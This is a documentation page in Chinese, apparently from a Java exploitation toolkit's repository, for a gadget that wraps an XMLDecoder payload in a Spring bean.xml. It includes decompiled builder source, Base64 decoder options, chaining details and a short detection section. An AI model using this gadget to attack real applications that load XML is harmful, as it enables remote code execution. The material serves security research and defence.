Skip to content

Latest commit

 

History

History
62 lines (48 loc) · 3.36 KB

File metadata and controls

62 lines (48 loc) · 3.36 KB

将XMLDecoder payload封装进spring bean.xml中,返回xml文件内容(SpringBeanXMLDecoderClassLoader)

  • 类别common 别名:sbxcl 优先级:21
  • 作者:小晨曦
  • 依赖spring-bean
  • 实现Gadget

作用

把内层 XMLDecoder payload 包进 Spring bean.xml 文件。

链接标签

  • 入口 tagsOther
  • 衔接 nextTagsXMLDecoderPayload
  • excludes:无

源码剖析

关键构造逻辑如下,摘自本条对应的 CFR 反编译源码:

public String getObject(String xmlPayload) {
        String payloadBase64 = Base64.encodeBase64String((byte[])xmlPayload.getBytes(Charset.forName("UTF-8")));
        String decoderBean = this.buildDecoderBean(payloadBase64);
        String payload = String.format(template, decoderBean);
        HashMap<String, byte[]> fileMap = new HashMap<String, byte[]>();
        fileMap.put(CommonUtil.getRandomString(10) + ".xml", payload.getBytes(Charset.forName("UTF-8")));
        this.context.put(ContextTag.CACHE_FILES_MAP, fileMap);
        return payload;
    }

public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        this.context = context;
        String xmlPayload = (String)chain.doCreate(context);
        return this.getObject(xmlPayload);
    }

invoke() 取内层 XML 字符串,保存 GadgetContext 后调用 getObject(xmlPayload)

getObject() 先把 XMLDecoder payload 做 UTF-8/Base64 编码,再根据 base64 参数生成 Spring MethodInvokingFactoryBean 解码器。最终 XML 中创建 java.beans.XMLDecoder,以 init-method="readObject" 读取 ByteArrayInputStream 中的解码结果。

生成的 XML 内容同时写入 ContextTag.CACHE_FILES_MAP,文件名为随机 .xml,供后续需要文件投递的 payload 复用。

参数(@Param)

字段 名称 说明 默认 可选值
base64 base64实现 org.springframework.util.Base64Utils.decodeFromString,spring-core自带,会自动选择当前jdk版本最适合的解码方式,在spring-core 6.2之后被移除
javax.xml.bind.DatatypeConverter.parseBase64Binary,JDK自带,JDK11后迁移至Jakarta XML Binding API,需要引入依赖
java.util.Base64,JDK自带,JDK8之后base64标准库
com.sun.org.apache.xml.internal.security.utils.Base64.decode,JDK 1.4~8可用但属于internal API,JDK 9+默认不导出需--add-exports
"com.sun.org.apache.xml.internal.security.utils.Base64.decode" org.springframework.util.Base64Utils.decodeFromString
javax.xml.bind.DatatypeConverter.parseBase64Binary
java.util.Base64
com.sun.org.apache.xml.internal.security.utils.Base64.decode

适用版本与原理要点

  • 注解描述:适用于ClassPathXmlApplicationContext加载xml文件场景,通过XMLDecoder解码并触发XML payload
  • 依赖条件:spring-bean
  • Base64 解码方式需匹配目标依赖/JDK:Spring 6.2 后 Base64Utils 被移除,JDK 11 后 JAXB 迁移,internal Base64 在 JDK 9+ 受模块导出限制。
  • 可衔接下一环:XMLDecoderPayload

防御与检测

关注 Spring XML 中 java.beans.XMLDecoderMethodInvokingFactoryBeanByteArrayInputStream、随机 XML 文件落地。

所属预设链

自由构件,未直接出现在预设链中。

关联

  • 机器可读元数据:index/gadgets.json
  • 完整反编译源码:。